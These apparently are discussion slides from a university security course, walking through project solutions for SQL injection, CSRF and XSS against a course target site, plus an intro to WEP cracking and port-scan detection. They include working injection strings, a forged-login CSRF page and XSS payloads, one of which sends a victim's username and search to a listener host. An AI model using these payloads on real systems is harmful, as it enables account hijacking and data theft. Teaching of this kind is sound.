EECS 388 Discussion

Web Project Review/Intro to Networking Project

SQL Injection

- 1.0: Create a statement that will always evaluate to true
  - ‘ or ‘1’ = ‘1
  - ‘ or ‘1’ = ‘1’;#
  - ‘ or 1=1;#

- 1.1: same thing as 1.0, but (‘) is replaced with (‘’)
  - \’ or 1=1;#
- # will comment out the rest of the line and make the last single quote nonfunctional

SQL Injection Extra Credit

- 1.2: Raw hashes can be interpreted as characters
  - md5($_POST[‘password’], true) returns raw data
  - Brute force hash containing special characters
  - Example: A hash containing ‘OR’1 will be accepted
- 1.3: Steal the values you need from the database
  - UNION combines the results of two queries
  - Use UNION to add your own query
  - For part (a) and (b):
    - ‘ UNION SELECT null, database(), @@version #

CSRF

- HTML file that will log the victim in as the attacker, but display a blank page

- 2.0: no defenses

```
<script> $(“#hackedForm”).submit(); </script>

<form name="hackedForm" id="hackedForm" action="http://eecs388.org/project2/login?
csrfdefense=0&xssdefense=4" method="post" target="hideLogin">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="password" value="l33th4x">
</form>

<iframe style="display:none" name="hideLogin"></IFRAME>
```

CSRF

- 2.1: use XSS to retrieve csrf_token

```
$(function() {
    var iframeSrc = "http://eecs388.org/project2/search?csrfdefense=1&xssdefense=0&q=" +
                  encodeURIComponent("<script" + ">" + payload.toString() + ";payload();</scrip" + "t>");

        $('body').append("<iframe id=\"secretFrame\" style=\"display:none\" name=\"hideLogin\" src=\""
                                   + iframeSrc + "\"></iframe>");
});
```

- where payload holds the code for retrieving the token and submitting a post request

Cross-site Scripting (XSS)

- 3.0: Arbitrary code execution
  - <script>payload</script>

- 3.1: Don’t use <script> tags
  - <body onload=”payload” />
  - <img src=/ onerror=”payload” />
  - Other possibilities?

XSS Continued

- 3.2: Further tag restrictions
  - <iframe onload=”payload” />
  - <input type=”image” src=/ onerror=”payload” />
  - More Ideas?

- 3.3: Remove punctuation
  - Use new lines between statements
  - Create the strings you need

```
var str = /my string/.toString() // Creates “/my string/”
str = str.substring(1, str.length - 1) // Removes /
```

XSS Payload

```
// Only run code after page is fully loaded
$(function() {
    // Get username
    var name = $(“#logged-in-user”).text();
    // Get last search (but don’t select your own code!)
    var query = $(“.list-group-item”)[1].text;
    // Send GET request
    var url = “http://127.0.0.1:31337/search”;
    $.get(url, {user: name, last_search: query});
})
```

Intro to Networking Project

- Passive Eavesdropping
  - analyze packets sent across a network
  - use WireShark tool to look at packets individually
- Network Attacks
  - crack a WEP-encrypted Wifi network
  - determine the contents of HTTPS traffic
- Anomaly Detection
  - try to identify port-scanning

WireShark Introduction

- Allows reading of detailed packet information sent across a network

- start capturing live data, or load a .pcap file

- Can filter based on a variety of criteria
  - protocol (http, ssl, etc.)
  - ip address

- demo

Part 2: Network Attacks

- AirCrack-ng can crack WEP keys
  - analyzing large amounts of traffic
  - gathers WEP Initialization Vectors
- Identify the client and server
  - What are their IP addresses?
  - What services are they running?
- Find a way to get the server’s private key
  - Decrypt HTTPS traffic
  - Forward secrecy?

Part 3: Anomaly detection

- SYN, SYN+ACK packets
  - SYN is the client-side initial handshake
  - SYN+ACK is server-side acknowledgement of the handshake

- Port scanning
  - attackers may send SYN packets to identify active network hosts listening to a specified port
  - find sources sending much more SYN packets than receiving SYN+ACK packets

Resources

- Using AirCrack-ng (skip steps 4 and 5)

http://www.aircrack-ng.org/doku.php?id=simple_wep_crack

- Using Wireshark to decrypt ssl/tls

http://blogs.technet.com/b/nettracer/archive/2010/10/01/how-to-decrypt-an-ssl-or-tls-session-by-using-wireshark.aspx